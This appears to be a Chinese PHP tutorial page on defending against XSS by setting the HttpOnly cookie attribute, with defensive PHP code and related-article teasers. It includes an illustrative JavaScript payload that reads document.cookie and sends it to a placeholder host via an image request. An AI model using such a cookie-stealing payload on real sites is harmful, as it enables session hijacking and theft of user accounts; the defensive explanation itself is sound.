xss防御之php利用httponly防xss攻擊
更新時間：2014年03月21日 16:24:02 作者：
這篇文章主要介紹了xss防御之php利用httponly防xss攻擊,下面是PHP設(shè)置HttpOnly的方法,需要的朋友可以參考下
xss的概念就不用多說了，它的危害是極大的，這就意味著一旦你的網(wǎng)站出現(xiàn)xss漏洞，就可以執(zhí)行任意的js代碼,最可怕的是攻擊者利用js獲取cookie或者session劫持，如果這里面包含了大量敏感信息（身份信息，管理員信息）等，那完了。。。
如下js獲取cookie信息：
復(fù)制代碼 代碼如下:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;
一般cookie都是從document對象中獲取的，現(xiàn)在瀏覽器在設(shè)置Cookie的時候一般都接受一個叫做HttpOnly的參數(shù)，跟domain等其他參數(shù)一樣，一旦這個HttpOnly被設(shè)置，你在瀏覽器的document對象中就看不到Cookie了。
PHP設(shè)置HttpOnly：
復(fù)制代碼 代碼如下:
//在php.ini中，session.cookie_httponly = ture 來開啟全局的Cookie的HttpOnly屬性
ini_set("session.cookie_httponly", 1);
//或者setcookie()的第七個參數(shù)設(shè)置為true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
對于PHP5.1以前版本的PHP通過：
復(fù)制代碼 代碼如下:
header("Set-Cookie: hidden=value; httpOnly");
最后，HttpOnly不是萬能的！
您可能感興趣的文章:
相關(guān)文章
這篇文章主要介紹了Joomla簡單判斷用戶是否登錄的方法,涉及Joomla基于服務(wù)器端變量結(jié)合Joomla文件進(jìn)行判斷與跳轉(zhuǎn)的相關(guān)技巧,需要的朋友可以參考下2016-05-05
session 加入redis的實(shí)現(xiàn)代碼
本篇文章主要介紹了session 加入redis 的實(shí)例,對session 進(jìn)行了詳細(xì)介紹,并提供了代碼實(shí)例,需要的朋友可以參考下2016-07-07
這篇文章主要介紹了PHP實(shí)現(xiàn)單例模式最安全的做法,適用PHP5.3以上版本,采用了最好的做法,需要的朋友可以參考下2014-06-06
php中文驗(yàn)證碼實(shí)現(xiàn)示例分享
這篇文章主要介紹了使用php實(shí)現(xiàn)中文驗(yàn)證碼，代碼簡單，大家可以直接使用2014-01-01
下面小編就為大家?guī)硪黄赑HP-FPM進(jìn)程池探秘。小編覺得挺不錯的，現(xiàn)在就分享給大家，也給大家做個參考。一起跟隨小編過來看看吧2017-10-10
這篇文章主要介紹了phpmyadmin在寶塔面板里進(jìn)不去的解決方案，文中通過示例代碼介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-07-07
這篇文章主要介紹了thinkphp5 URL和路由的功能詳解與實(shí)例，小編覺得挺不錯的，現(xiàn)在分享給大家，也給大家做個參考。一起跟隨小編過來看看吧2017-12-12
discuz論壇的程序可讀性不好,暈暈的.為了整合論壇和網(wǎng)站數(shù)據(jù),又不得不看.2008-11-11
THINKPHP截取中文字符串函數(shù)實(shí)例代碼
在項(xiàng)目開發(fā)中，我們常常會遇到英文、中文等字符串截取問題，比如說新聞列表頁面需要新聞內(nèi)容簡介，這就要用到字符串截取了。2017-03-03
這篇文章主要介紹了CI框架文件上傳類及圖像處理類用法,設(shè)計(jì)CI框架圖片上傳及縮略圖操作的相關(guān)技巧,需要的朋友可以參考下2016-05-05